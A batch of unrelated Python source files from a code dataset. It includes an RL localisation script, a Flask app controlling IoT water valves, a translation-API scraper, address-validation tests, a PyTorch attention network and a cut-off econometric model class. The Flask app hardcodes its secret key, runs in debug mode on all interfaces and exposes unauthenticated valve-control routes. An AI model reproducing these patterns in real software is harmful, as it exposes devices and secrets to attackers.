size_mask\n\t\told_region_mask = region_mask\n\t\tregion_mask = np.ones([img.shape[0], img.shape[1]])\n\t\tnew_iou = calculate_iou(gt_mask_img , region_mask)\t\t\t\n\t\tiou = new_iou\n\n\t\thistory_vector = np.zeros([24])\n\t\tstate = get_state(region_img , history_vector)\n\t\t# status indicates whether the agent is still alive and has not triggered the terminal action\n\t\tstatus = 1\n\t\taction = 0\n\t\treward = 0\n\t\tcum_reward = 0\n\t\twhile (status == 1) and (step < number_of_steps) :\n\t\t\tqval = model.predict(state, batch_size=1)\n\t\t\tstep += 1\n\t\t\tif new_iou > 0.5:\n\t\t\t\taction = 6\n\t\t\t# epsilon-greedy policy\n\t\t\telif random.random() < epsilon:\n\t\t\t\taction = np.random.randint(1, 7)\n\t\t\telse:\n\t\t\t\taction = (np.argmax(qval))+1\n\t\t\t# terminal action\n\t\t\tif action == 6:\n\t\t\t\tnew_iou = calculate_iou(gt_mask_img , region_mask)\n\t\t\t\treward = get_reward_trigger(new_iou)\n\t\t\t\tcum_reward += reward\n\t\t\t\tstep += 1\n\t\t\t\tstatus = 0\n\t\t\t# movement action, we perform the crop of the corresponding subregion\n\t\t\telse:\n\t\t\t\tregion_mask = np.zeros(original_shape)\n\t\t\t\tsize_mask = (size_mask[0] * scale_subregion, size_mask[1] * scale_subregion)\n\t\t\t\tif action == 1:\n\t\t\t\t\toffset_aux = (0, 0)\n\t\t\t\telif action == 2:\n\t\t\t\t\toffset_aux = (0, size_mask[1] * scale_mask)\n\t\t\t\t\toffset = (offset[0], offset[1] + size_mask[1] * scale_mask)\n\t\t\t\telif action == 3:\n\t\t\t\t\toffset_aux = (size_mask[0] * scale_mask, 0)\n\t\t\t\t\toffset = (offset[0] + size_mask[0] * scale_mask, offset[1])\n\t\t\t\telif action == 4:\n\t\t\t\t\toffset_aux = (size_mask[0] * scale_mask, \n\t\t\t\t\t\t\t\t size_mask[1] * scale_mask)\n\t\t\t\t\toffset = (offset[0] + size_mask[0] * scale_mask,\n\t\t\t\t\t\t\t offset[1] + size_mask[1] * scale_mask)\n\t\t\t\telif action == 5:\n\t\t\t\t\toffset_aux = (size_mask[0] * scale_mask / 2,\n\t\t\t\t\t\t\t\t size_mask[0] * scale_mask / 2)\n\t\t\t\t\toffset = (offset[0] + size_mask[0] * scale_mask / 2,\n\t\t\t\t\t\t\t offset[1] + size_mask[0] * scale_mask / 2)\n\n\t\t\t\toffset = [int(x) for x in list(offset)]\n\t\t\t\toffset_aux = [int(x) for x in list(offset_aux)]\n\t\t\t\tsize_mask = [int(x) for x in list(size_mask)]\n\n\t\t\t\tregion_img = region_img[offset_aux[0]:offset_aux[0] + size_mask[0],\n\t\t\t\t\t\t\t offset_aux[1]:offset_aux[1] + size_mask[1]]\n\t\t\t\tregion_mask[offset[0]:offset[0] + size_mask[0], offset[1]:offset[1] + size_mask[1]] = 1\n\t\t\t\tnew_iou = calculate_iou(gt_mask_img , region_mask)\n\t\t\t\treward = get_reward_movement(iou, new_iou)\n\t\t\t\tiou = new_iou\n\t\t\t\tcum_reward += reward\n\t\t\t\n\t\t\thistory_vector = update_history_vector(history_vector, action)\n\t\t\tnew_state = get_state(region_img, history_vector)\n\t\t\tstep += 1\n\t\tprint(j , step , action , new_iou , cum_reward )\n\t\t\n\t\tout_img = cv2.resize(region_img , (64,64))\n\t\tinp_img = cv2.resize(img , (64,64))\n\t\tinp_mask_img = cv2.resize(gt_mask_img*255 , (64,64) )\n\t\tout_mask_img = cv2.resize(region_mask*255 , (64,64) )\n\n\t\tdisp_img = np.concatenate([inp_img , inp_mask_img , out_img , out_mask_img] ,axis=-1)\n\n\t\tcv2.imwrite(path_ouptut_folder + str(j) + '.bmp' , disp_img)\n","sub_path":"scripts/dot_no_bg_test.py","file_name":"dot_no_bg_test.py","file_ext":"py","file_size_in_byte":6521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"380849095","text":"'''\nCreated on Feb 21, 2018\n\n@author: Anthony Bell\n'''\nfrom flask import Flask, request, render_template, redirect, flash, send_from_directory, make_response, url_for\nfrom flask_bootstrap import Bootstrap\nfrom flask_login import LoginManager, login_user, current_user\nfrom flask_login.utils import login_required, logout_user\nimport os\nimport sys\nimport datetime\nimport time\nimport socket\n\nfrom model.Database import Database\n\napp = Flask(__name__) # Construct an instance of Flask class\nbootstrap = Bootstrap(app)\napp.secret_key = \"iegAe43JUlx9eNQD\"\napp.config['SECRET_KEY'] = \"iegAe43JUlx9eNQD\"\napp.config['DEBUG'] = True\n\n@app.route('/')\ndef index():\n '''\n UI Dashboard/Homepage\n '''\n return render_template('index.html')\n\n@app.route('/settings', methods=['GET', 'POST'])\ndef settings():\n '''\n Interface for managing max flow rates for devices\n '''\n devices = db.get_devices()\n if request.method == 'POST':\n for device in devices:\n db.update_device(device.device, flow=request.form[device.device])\n return render_template('settings.html', devices=devices)\n\n@app.route('/valves', methods=['GET'])\ndef valves():\n '''\n Interface for user valve management\n '''\n devices = db.get_devices()\n return render_template('valves.html', devices=devices)\n\n@app.route('/valves//')\ndef valves_update(device, status):\n _device = db.get_device(device)\n mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n if status == \"on\":\n mySocket.connect((str(_device.ip), 42425))\n mySocket.sendall(b\"open_valve\")\n time.sleep(1)\n mySocket.close()\n else:\n mySocket.connect((str(_device.ip), 42425))\n mySocket.sendall(b\"close_valve\")\n time.sleep(1)\n mySocket.close()\n db.update_device(device, status=status)\n return redirect(url_for(\"valves\"))\n\n@app.route('/update//')\ndef update(device, flow):\n '''\n Interface for recieving flow data from devices\n '''\n _device = db.get_device(device)\n if not _device:\n db.add_device(device)\n hourly_flow = db.add_minute_data(device, flow)\n if hourly_flow >= db.get_device(device).max_flow and db.get_device(device).status != \"off\":\n db.update_device(device, status=\"off\")\n mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n mySocket.connect((_device.ip, 42425))\n mySocket.sendall(b\"close_valve\")\n time.sleep(1)\n mySocket.close()\n db.add_notification(device, \"flow\")\n return(\"Shutoff\")\n return(\"Pass\")\n\n@app.route('/add_device/')\ndef add_device(name):\n '''\n Interface for adding a device to be tracked\n '''\n ip = str(request.remote_addr)\n db.add_device(str(name), ip)\n return('PLACEHOLDER')\n\n@app.route('/notifications')\ndef notifications():\n notifications = db.get_notifications()\n return render_template('notifications.html', notifications=notifications)\n\n@app.route('/notify//')\ndef notify(device, message):\n '''\n Interface for recieving notifications from devices\n '''\n db.add_notification(device, message)\n #TODO UPDAT THE RETURN FOR THIS PART\n return('PLACEHOLDER')\n\n@app.teardown_appcontext\ndef shutdown_session(exception=None):\n '''\n Closes Database on shutdown for data integrity\n '''\n db.close()\n\nif __name__ == '__main__': # Script executed directly?\n #define port number via cmd-line arguments\n #checks for -p as first argument, and presence of a number as the second\n #argument\n if len(sys.argv) > 2:\n if sys.argv[1] == '-p':\n try:\n srvport = int(sys.argv[2])\n except:\n srvport = 80\n else:\n srvport = 80\n\n db = Database()\n db.set_next_id()\n\n app.run(host='0.0.0.0', port=srvport) # Launch built-in web server and run this Flask webapp\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"14785127","text":"#POST请求数据\n#POST 请求数据必须构建请求头才可以 Headers - From Data\nimport requests\nimport json\ndef get_translate_date(word = None):\n url = 'http://fanyi.youdao.com/translate_o?smartresult=dict&smartresult=rule HTTP/1.1'\n#构造一个字典来构建一个请求头\n From_Data = {\n 'i' : 'word',\n 'from': 'AUTO',\n 'to': 'AUTO',\n 'smartresult': 'dict',\n 'client': 'fanyideskweb',\n 'salt': '15713200334722',\n 'sign': 'e59f9d56e9c766daa538f6dd733a8cce',\n 'ts': '1571320033472',\n 'bv': 'e218a051a7336600dfed880d272c7d6f',\n 'doctype': 'json',\n 'version': '2.1',\n 'keyfrom':'fanyi.web',\n 'action': 'FY_BY_REALTlME',\n }\n res = requests.post(url = url, data=From_Data)\n content = json.loads(res.text)#将Json格式字符串转字典\n print(content)\n print(content['translateResult'][0][0]['tgt'])\nif __name__ == '__main__':\n get_translate_date('我爱中国')\n","sub_path":"Python爬虫/test03.py","file_name":"test03.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"544913384","text":"# **************************************************************************** #\n# #\n# ::: :::::::: #\n# EmptyEquation.py :+: :+: :+: #\n# +:+ +:+ +:+ #\n# By: eduriez +#+ +:+ +#+ #\n# +#+#+#+#+#+ +#+ #\n# Created: 2020/06/26 17:20:55 by eduriez #+# #+# #\n# Updated: 2020/06/30 15:37:57 by eduriez ### ########.fr #\n# #\n# **************************************************************************** #\n\nclass EmptyEquation:\n\n def __init__(self, coefs, len_coefs, color_set):\n self.coefs = coefs\n self.len_coefs = len_coefs\n self.color_set = color_set\n if self.len_coefs == 0:\n print(f\"{self.color_set.brown}\\nReduced form : 0 = 0\")\n else:\n print(f\"{self.color_set.brown}\\nReduced form : {coefs[0]} = 0\")\n print(\"Polynomial degree : 0\")\n\n def solve(self):\n if self.len_coefs == 0:\n print(f\"{self.color_set.green}\\nThis equation has infinite solutions !\")\n else:\n print(f\"{self.color_set.green}\\nThis equation has impossible equality !\")\n print(f\"{self.color_set.reset}\", end=\"\")\n","sub_path":"Algorithmic_branch/computor_v1/equations/EmptyEquation.py","file_name":"EmptyEquation.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"394838990","text":"\"\"\"Test the validate address method of the ShipEngine SDK.\"\"\"\nimport re\n\nfrom shipengine_sdk.errors import ClientSystemError, ShipEngineError, ValidationError\nfrom shipengine_sdk.models import (\n Address,\n AddressValidateResult,\n ErrorCode,\n ErrorSource,\n ErrorType,\n)\n\nfrom ..util.test_helpers import (\n address_missing_required_fields,\n address_with_all_fields,\n address_with_errors,\n address_with_invalid_country,\n address_with_invalid_postal_code,\n address_with_invalid_state,\n address_with_warnings,\n canada_valid_avs_assertions,\n get_server_side_error,\n multi_line_address,\n non_latin_address,\n unknown_address,\n valid_address_assertions,\n valid_canadian_address,\n valid_commercial_address,\n valid_residential_address,\n validate_an_address,\n)\n\n\nclass TestValidateAddress:\n TEST_METHOD: str = \"validate\"\n\n def test_valid_residential_address(self) -> None:\n \"\"\"DX-1024 - Valid residential address.\"\"\"\n residential_address = valid_residential_address()\n validated_address = validate_an_address(residential_address)\n address = validated_address.normalized_address\n\n valid_address_assertions(\n test_method=self.TEST_METHOD,\n locale=\"domestic\",\n original_address=residential_address,\n returned_address=validated_address,\n expected_residential_indicator=True,\n )\n assert (\n address.street[0]\n == (residential_address.street[0] + \" \" + residential_address.street[1])\n .replace(\".\", \"\")\n .upper()\n )\n\n def test_valid_commercial_address(self) -> None:\n \"\"\"DX-1025 - Valid commercial address.\"\"\"\n commercial_address = valid_commercial_address()\n validated_address = validate_an_address(commercial_address)\n address = validated_address.normalized_address\n\n valid_address_assertions(\n test_method=self.TEST_METHOD,\n locale=\"domestic\",\n original_address=commercial_address,\n returned_address=validated_address,\n expected_residential_indicator=False,\n )\n assert (\n address.street[0]\n == (commercial_address.street[0] + \" \" + commercial_address.street[1])\n .replace(\".\", \"\")\n .upper()\n )\n\n def test_multi_line_address(self) -> None:\n \"\"\"DX-1027 - Validate multiline address.\"\"\"\n valid_multi_line_address = multi_line_address()\n validated_address = validate_an_address(valid_multi_line_address)\n address = validated_address.normalized_address\n\n valid_address_assertions(\n test_method=self.TEST_METHOD,\n locale=\"domestic\",\n original_address=valid_multi_line_address,\n returned_address=validated_address,\n expected_residential_indicator=False,\n )\n assert (\n address.street[0]\n == (valid_multi_line_address.street[0] + \" \" + valid_multi_line_address.street[1])\n .replace(\".\", \"\")\n .upper()\n )\n assert address.street[1] == valid_multi_line_address.street[2].upper()\n\n def test_numeric_postal_code(self) -> None:\n \"\"\"DX-1028 - Validate numeric postal code.\"\"\"\n residential_address = valid_residential_address()\n validated_address = validate_an_address(residential_address)\n valid_address_assertions(\n test_method=self.TEST_METHOD,\n locale=\"domestic\",\n original_address=residential_address,\n returned_address=validated_address,\n expected_residential_indicator=True,\n )\n assert re.match(r\"\\d\", validated_address.normalized_address.postal_code)\n\n def test_alpha_postal_code(self) -> None:\n \"\"\"DX-1029 - Alpha postal code.\"\"\"\n canadian_address = valid_canadian_address()\n validated_address = validate_an_address(canadian_address)\n valid_address_assertions(\n test_method=self.TEST_METHOD,\n locale=\"international\",\n original_address=canadian_address,\n returned_address=validated_address,\n expected_residential_indicator=False,\n )\n\n def test_unknown_address(self) -> None:\n \"\"\"DX-1026 - Validate address of unknown address.\"\"\"\n address = unknown_address()\n validated_address = validate_an_address(address)\n canada_valid_avs_assertions(\n original_address=address,\n validated_address=validated_address,\n expected_residential_indicator=None,\n )\n\n def test_address_with_non_latin_chars(self) -> None:\n \"\"\"DX-1030 - non-latin characters.\"\"\"\n non_latin = non_latin_address()\n validated_address = validate_an_address(non_latin)\n address = validated_address.normalized_address\n\n assert validated_address.is_valid is True\n assert address is not None\n assert type(address) is Address\n assert address.street[0] == \"68 Kamitobatsunodacho\"\n assert address.city_locality == \"Kyoto-Shi Minami-Ku\"\n assert address.state_province == \"Kyoto\"\n assert address.postal_code == non_latin.postal_code\n assert address.country_code == non_latin.country_code\n assert address.is_residential is False\n assert len(address.street) == 1\n\n def test_address_with_warnings(self) -> None:\n \"\"\"DX-1031 - validate with warnings.\"\"\"\n warnings_address = address_with_warnings()\n validated_address = validate_an_address(warnings_address)\n address = validated_address.normalized_address\n\n assert type(validated_address) is AddressValidateResult\n assert validated_address.is_valid is True\n assert type(address) is Address\n assert len(validated_address.info) == 0\n assert len(validated_address.warnings) != 0\n assert (\n validated_address.warnings[0][\"code\"]\n == ErrorCode.PARTIALLY_VERIFIED_TO_PREMISE_LEVEL.value\n )\n assert (\n validated_address.warnings[0][\"message\"]\n == \"This address has been verified down to the house/building level (highest possible accuracy with the provided data)\" # noqa\n )\n assert len(validated_address.errors) == 0\n assert address.city_locality == warnings_address.city_locality\n assert address.state_province == warnings_address.state_province.title()\n assert address.postal_code == \"M6K 3C3\"\n assert address.country_code == warnings_address.country_code.upper()\n assert address.is_residential is True\n\n def test_address_with_errors(self) -> None:\n \"\"\"DX-1032 - Validate with error messages.\"\"\"\n error_address = address_with_errors()\n validated_address = validate_an_address(error_address)\n address = validated_address.normalized_address\n\n assert type(validated_address) is AddressValidateResult\n assert validated_address.is_valid is False\n assert address is None\n assert len(validated_address.info) == 0\n assert len(validated_address.warnings) != 0\n assert validated_address.warnings[0][\"message\"] == \"Address not found\"\n assert len(validated_address.errors) != 0\n assert validated_address.errors[0][\"code\"] == ErrorCode.ADDRESS_NOT_FOUND.value\n assert validated_address.errors[0][\"message\"] == \"Invalid City, State, or Zip\"\n assert validated_address.errors[1][\"code\"] == ErrorCode.ADDRESS_NOT_FOUND.value\n assert validated_address.errors[1][\"message\"] == \"Insufficient or Incorrect Address Data\"\n\n def test_missing_city_state_and_postal_code(self) -> None:\n \"\"\"DX-1035 & DX-1036 - Missing city, state, and postal code.\"\"\"\n try:\n address_missing_required_fields()\n except ValidationError as err:\n assert err.request_id is None\n assert err.source is ErrorSource.SHIPENGINE.value\n assert err.error_type is ErrorType.VALIDATION.value\n assert err.error_code is ErrorCode.FIELD_VALUE_REQUIRED.value\n assert (\n err.message\n == \"Invalid address. Either the postal code or the city/locality and state/province must be specified.\" # noqa\n )\n\n def test_invalid_country_code(self) -> None:\n \"\"\"DX-1037 - Invalid country code.\"\"\"\n try:\n address_with_invalid_country()\n except ValidationError as err:\n assert err.request_id is None\n assert err.source is ErrorSource.SHIPENGINE.value\n assert err.error_type is ErrorType.VALIDATION.value\n assert err.error_code is ErrorCode.FIELD_VALUE_REQUIRED.value\n assert err.message == \"Invalid address: [RZ] is not a valid country code.\"\n\n def test_server_side_error(self) -> None:\n \"\"\"DX-1038 - Server-side error.\"\"\"\n try:\n get_server_side_error()\n except ClientSystemError as err:\n assert err.request_id is not None\n assert err.request_id.startswith(\"req_\") is True\n assert err.source is ErrorSource.SHIPENGINE.value\n assert err.error_type is ErrorType.SYSTEM.value\n assert err.error_code is ErrorCode.UNSPECIFIED.value\n\n def test_address_with_name_company_phone(self) -> None:\n \"\"\"DX-1393 - Validate address with name, company, and phone.\"\"\"\n address = address_with_all_fields()\n validated_address = validate_an_address(address=address)\n\n valid_address_assertions(\n test_method=self.TEST_METHOD,\n locale=\"domestic\",\n original_address=address,\n returned_address=validated_address,\n expected_residential_indicator=True,\n )\n\n def test_address_with_invalid_state(self) -> None:\n \"\"\"Test validate_address when an invalid state is passed in.\"\"\"\n try:\n address_with_invalid_state()\n except ShipEngineError as err:\n assert type(err) is ValidationError\n assert (\n err.message\n == \"Invalid address. Either the postal code or the city/locality and state/province must be specified.\"\n ) # noqa\n\n def test_address_with_invalid_postal_code(self) -> None:\n \"\"\"Test validate_address when an invalid postal code is passed in.\"\"\"\n try:\n address_with_invalid_postal_code()\n except ShipEngineError as err:\n assert type(err) is ValidationError\n assert (\n err.message\n == \"Invalid address. Either the postal code or the city/locality and state/province must be specified.\"\n ) # noqa\n","sub_path":"tests/services/test_address_validation.py","file_name":"test_address_validation.py","file_ext":"py","file_size_in_byte":10758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"70154447","text":"import torch\nimport torch.nn.functional as F\nfrom torch import nn, einsum\nfrom einops import rearrange\n\n# helpers\n\ndef exists(val):\n return val is not None\n\ndef default(val, d):\n return val if exists(val) else d\n\ndef batched_index_select(values, indices):\n last_dim = values.shape[-1]\n return values.gather(1, indices[:, :, None].expand(-1, -1, last_dim))\n\n# helper classes\n\nclass Residual(nn.Module):\n def __init__(self, fn):\n super().__init__()\n self.fn = fn\n def forward(self, x, **kwargs):\n return self.fn(x, **kwargs) + x\n\nclass PreNorm(nn.Module):\n def __init__(self, dim, fn):\n super().__init__()\n self.fn = fn\n self.norm = nn.LayerNorm(dim)\n def forward(self, x, **kwargs):\n return self.fn(self.norm(x), **kwargs)\n\nclass FeedForward(nn.Module):\n def __init__(self, dim, mult = 4):\n super().__init__()\n self.net = nn.Sequential(\n nn.Linear(dim, dim * mult),\n nn.GELU(),\n nn.Linear(dim * mult, dim)\n )\n\n def forward(self, x, **kwargs):\n return self.net(x)\n\n# adjacent attention class\n\nclass AdjacentAttention(nn.Module):\n def __init__(\n self,\n *,\n dim,\n dim_head = 64,\n heads = 4\n ):\n super().__init__()\n inner_dim = dim_head * heads\n self.scale = dim_head ** -0.5\n self.heads = heads\n\n self.to_q = nn.Linear(dim, inner_dim, bias = False)\n self.to_kv = nn.Linear(dim, inner_dim * 2, bias = False)\n self.to_out = nn.Linear(inner_dim, dim)\n\n def forward(\n self,\n x,\n adj_kv_indices,\n mask\n ):\n b, n, d, h = *x.shape, self.heads\n flat_indices = rearrange(adj_kv_indices, 'b n a -> b (n a)')\n\n # select the neighbors for every individual token. \"a\" dimension stands for 'adjacent neighbor'\n kv_x = batched_index_select(x, flat_indices)\n kv_x = rearrange(kv_x, 'b (n a) d -> b n a d', n = n)\n\n # derive query, key, value\n q, k, v = self.to_q(x), *self.to_kv(kv_x).chunk(2, dim = -1)\n q = rearrange(q, 'b n (h d) -> b h n d', h = h)\n k, v = map(lambda t: rearrange(t, 'b n a (h d) -> b h n a d', h = h), (k, v))\n\n # similarity of each node to its neighbors\n dots = einsum('b h n d, b h n a d -> b h n a', q, k) * self.scale\n\n # mask out neighbors that are just padding\n mask_value = -torch.finfo(dots.dtype).max\n mask = rearrange(mask.bool(), 'b n a -> b () n a')\n dots.masked_fill_(~mask.bool(), mask_value)\n\n # attention\n attn = dots.softmax(dim = -1)\n\n # get weighted average of the values of all neighbors\n out = einsum('b h n a, b h n a d -> b h n d', attn, v)\n out = rearrange(out, 'b h n d -> b n (h d)')\n\n # combine output\n return self.to_out(out)\n\n# adjacent network (layers of adjacent attention)\n\nclass AdjacentAttentionNetwork(nn.Module):\n def __init__(\n self,\n *,\n dim,\n depth,\n dim_head = 64,\n heads = 4\n ):\n super().__init__()\n self.layers = nn.ModuleList([])\n\n for _ in range(depth):\n self.layers.append(nn.ModuleList([\n Residual(PreNorm(dim, AdjacentAttention(\n dim = dim,\n dim_head = dim_head,\n heads = heads\n ))),\n Residual(PreNorm(dim, FeedForward(\n dim = dim\n )))\n ]))\n\n def forward(self, x, adjacency_mat, mask = None):\n device = x.device\n\n diag = torch.eye(adjacency_mat.shape[-1], device = device).bool()\n adjacency_mat |= diag # nodes should pay attention itself (self-interacting)\n\n # zero out points on adjacency matrix\n # where the nodes are just padding\n if exists(mask):\n mask = mask[:, :, None] * mask[:, None, :]\n adjacency_mat &= mask\n\n adj_mat = adjacency_mat.float()\n\n # get the maximum number of neighbors\n # todo - get distribution of number of neighbors, and strategically break up attention (message passing) to multiple steps\n max_neighbors = int(adj_mat.sum(dim = -1).max())\n\n # use topk to get all the neighbors\n # also pass the mask into the attention, as some neighbors will be just padding and not actually neighbors\n mask, adj_kv_indices = adj_mat.topk(dim = -1, k = max_neighbors)\n\n for attn, ff in self.layers:\n x = attn(\n x,\n adj_kv_indices = adj_kv_indices,\n mask = mask\n )\n\n x = ff(x)\n\n return x\n","sub_path":"adjacent_attention_network/adjacent_attention_network.py","file_name":"adjacent_attention_network.py","file_ext":"py","file_size_in_byte":4701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"500537","text":"import math\nimport collections\nimport heapq\nimport bisect\nimport functools\n\n\ndef solve(a, v, n):\n arr = sorted([a[i], v[i]] for i in range(n))\n ans = [0] * n\n i = 0\n while i < n:\n while i > 0 and arr[i - 1][1] >= 0 > arr[i][1]:\n arr[i][1], arr[i - 1][1] = arr[i - 1][1], arr[i][1]\n d = arr[i][0] - arr[i - 1][0]\n ans[i] += 1\n ans[i - 1] += 1\n i -= 1\n i += 1\n\n return ans\n\n\nif __name__ == '__main__':\n t = int(input())\n for _ in range(t):\n n = int(input())\n a = list(map(int, input().split()))\n v = list(map(int, input().split()))\n res = solve(a, v, n)\n print(res)\n","sub_path":"hackerearth/2022/alg/search/bouncing-balls.py","file_name":"bouncing-balls.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"82476966","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Sep 02 19:41:11 2013\r\n\r\nThis module creates model class instances. \r\n\r\n\r\n\r\n@author: Ib\r\n\"\"\"\r\n\r\nfrom collections import defaultdict, namedtuple\r\nfrom itertools import groupby,chain, zip_longest\r\nimport re\r\nimport pandas as pd\r\nimport sys \r\nimport networkx as nx\r\nimport fnmatch \r\nimport numpy as np\r\nfrom itertools import chain\r\nfrom collections import Counter\r\nimport time\r\nfrom contextlib import contextmanager\r\nimport os\r\nfrom subprocess import run \r\nimport webbrowser as wb\r\nimport importlib\r\nimport gc\r\nimport copy \r\nimport matplotlib.pyplot as plt \r\nimport zipfile\r\nfrom functools import partial\r\n\r\n\r\nimport seaborn as sns \r\nfrom IPython.display import SVG, display, Image\r\nimport ipywidgets as ip\r\n\r\ntry:\r\n from numba import jit,njit\r\nexcept:\r\n pass\r\nimport os\r\n\r\nimport modelmanipulation as mp\r\n\r\nimport modelvis as mv\r\nimport modelpattern as pt \r\nfrom modelnet import draw_adjacency_matrix\r\nfrom modelnewton import newton_diff\r\nimport modeljupyter as mj \r\nfrom modelhelp import cutout, update_var\r\n\r\n# functions used in BL language \r\nfrom scipy.stats import norm \r\nfrom math import isclose,sqrt,erf \r\nfrom scipy.special import erfinv , ndtri\r\n\r\nnode = namedtuple('node','lev,parent,child')\r\n\r\nnp.seterr(all='ignore')\r\n\r\n\r\nclass BaseModel():\r\n\r\n \"\"\"Class which defines a model from equations\r\n \r\n\r\n The basic enduser calls are: \r\n \r\n mi = Basemodel(equations): Will create an instance of a model\r\n \r\n And: \r\n \r\n result = mi(dataframe,start,end) Will calculate a model.\r\n \r\n If the model don't contain contemporaneous feedback it will be topological sorted and and calculated (by xgenr)\r\n will be solved by gauss-seidle (sim). Gauss-Seidle will use the input order of the equations. \r\n \r\n Beware that this is the baseclass, other other ordering and solution methods will be defined in child classes. \r\n \r\n In additions there are defined functions which can do useful chores. \r\n \r\n A model instance has a number of properties among which theese can be particular useful:\r\n \r\n :allvar: Information regarding all variables \r\n :basedf: A dataframe with first result created with this model instance\r\n :altdf: A dataframe with the last result created with this model instance \r\n \r\n The two result dataframes are used for comparision and visualisation. The user can set both basedf and altdf. \r\n \r\n \"\"\" \r\n\r\n def __init__(self, i_eq='', modelname='testmodel',silent=False,straight = False,funks=[],\r\n tabcomplete=True,previousbase=False,use_preorder=True,normalized=True, **kwargs):\r\n ''' initialize a model'''\r\n if i_eq !='':\r\n self.funks = funks \r\n \r\n self.equations = i_eq if '$' in i_eq else mp.tofrml(i_eq,sep='\\n')\r\n self.name = modelname\r\n self.straight = straight # if True the dependency graph will not be called and calculation wil be in input sequence \r\n self.save = True # saves the dataframe in self.basedf, self.lastdf \r\n self.analyzemodelnew(silent) # on board the model equations \r\n self.maxstart=0\r\n self.genrcolumns =[]\r\n self.tabcomplete = tabcomplete # do we want tabcompletion (slows dovn input to large models)\r\n self.previousbase = previousbase # set basedf to the previous run instead of the first run \r\n if not self.istopo or self.straight:\r\n self.use_preorder = use_preorder # if prolog is used in sim2d \r\n else:\r\n self.use_preorder = False \r\n self.normalized = normalized\r\n self.keep_solutions = {}\r\n return \r\n\r\n @classmethod \r\n def from_eq(cls,equations,modelname='testmodel',silent=False,straight = False,funks=[],\r\n params={},tabcomplete=True,previousbase=False, normalized=True,\r\n norm=True,sym=False,sep='\\n',**kwargs):\r\n \"\"\"\r\n Creates a model from macro Business logic language.\r\n \r\n That is the model specification is first exploded. \r\n\r\n Args:\r\n \r\n equations (string): The model\r\n modelname : Name of the model. Defaults to 'testmodel'.\r\n silent (TYPE, optional): Suppress messages. Defaults to False.\r\n straight (TYPE, optional): Don't reorder the model. Defaults to False.\r\n funks (TYPE, optional): Functions incorporated in the model specification . Defaults to [].\r\n params (TYPE, optional): For later use. Defaults to {}.\r\n tabcomplete (TYPE, optional): Allow tab compleetion in editor, for large model time consuming. Defaults to True.\r\n previousbase (TYPE, optional): Use previous run as basedf not the first. Defaults to False.\r\n norm (TYPE, optional): Normalize the model. Defaults to True.\r\n sym (TYPE, optional): If normalize do it symbolic. Defaults to False.\r\n sep (TYPE, optional): Seperate the equations. Defaults to '\\n'.\r\n **kwargs (TYPE): DESCRIPTION.\r\n\r\n Returns:\r\n TYPE: A model instance.\r\n\r\n \"\"\" \r\n \r\n udrullet = mp.explode(equations,norm=norm,sym=sym,funks=funks,sep=sep)\r\n pt.check_syntax_model(udrullet)\r\n return cls(udrullet,modelname,silent=silent,straight=straight,funks=funks,tabcomplete=tabcomplete,previousbase=previousbase,normalized=normalized,**kwargs)\r\n\r\n\r\n def get_histmodel(self):\r\n \"\"\" return a model instance with a model which generates historic values for equations \r\n marked by a frml name I or IDENT \"\"\"\r\n hist_eq = mp.find_hist_model(self.equations)\r\n return type(self)(hist_eq,funks=self.funks)\r\n\r\n def analyzemodelnew(self,silent):\r\n ''' Analyze a model\r\n \r\n The function creats:**Self.allvar** is a dictory with an entry for every variable in the model \r\n the key is the variable name. \r\n For each endogeneous variable there is a directory with thees keys:\r\n \r\n :maxlag: The max lag for this variable\r\n :maxlead: The max Lead for this variable\r\n :endo: 1 if the variable is endogeneous (ie on the left hand side of =\r\n :frml: String with the formular for this variable\r\n :frmlnumber: The number of the formular \r\n :varnr: Number of this variable \r\n :terms: The frml for this variable translated to terms \r\n :frmlname: The frmlname for this variable \r\n :startnr: Start of this variable in gauss seidel solutio vector :Advanced:\r\n :matrix: This lhs element is a matrix\r\n :dropfrml: If this frml shoud be excluded from the evaluation.\r\n \r\n \r\n In addition theese properties will be created: \r\n \r\n :endogene: Set of endogeneous variable in the model \r\n :exogene: Se exogeneous variable in the model \r\n :maxnavlen: The longest variable name \r\n :blank: An emty string which can contain the longest variable name \r\n :solveorder: The order in which the model is solved - initaly the order of the equations in the model \r\n \r\n '''\r\n gc.disable()\r\n mega = pt.model_parse(self.equations,self.funks)\r\n termswithvar = {t for (f,nt) in mega for t in nt if t.var}\r\n# varnames = list({t.var for t in termswithvar})\r\n termswithlag = sorted([(t.var,'0' if t.lag == '' else t.lag) for t in termswithvar],key=lambda x : x[0]) # sorted by varname and lag \r\n groupedvars = groupby(termswithlag,key=lambda x: x[0])\r\n varmaxlag = {varandlags[0] : (min([int(t[1]) for t in list(varandlags[1])])) for varandlags in groupedvars}\r\n groupedvars = groupby(termswithlag,key=lambda x: x[0])\r\n varmaxlead = {varandlags[0] : (max([int(t[1]) for t in list(varandlags[1])])) for varandlags in groupedvars}\r\n# self.maxlag = min(varmaxlag[v] for v in varmaxlag.keys())\r\n self.maxlag = min(v for k,v in varmaxlag.items())\r\n self.maxlead = max(v for k,v in varmaxlead.items())\r\n self.allvar = {name: {\r\n 'maxlag' : varmaxlag[name],\r\n 'maxlead' : varmaxlead[name],\r\n 'matrix' : 0,\r\n# 'startnr' : 0,\r\n 'endo' : 0} for name in {t.var for t in termswithvar} }\r\n\r\n #self.aequalterm = ('','','=','','') # this is how a term with = looks like \r\n self.aequalterm = ('','=','','') # this is how a term with = looks like \r\n for frmlnumber,((frml,fr,n,udtryk),nt) in enumerate(mega):\r\n assigpos = 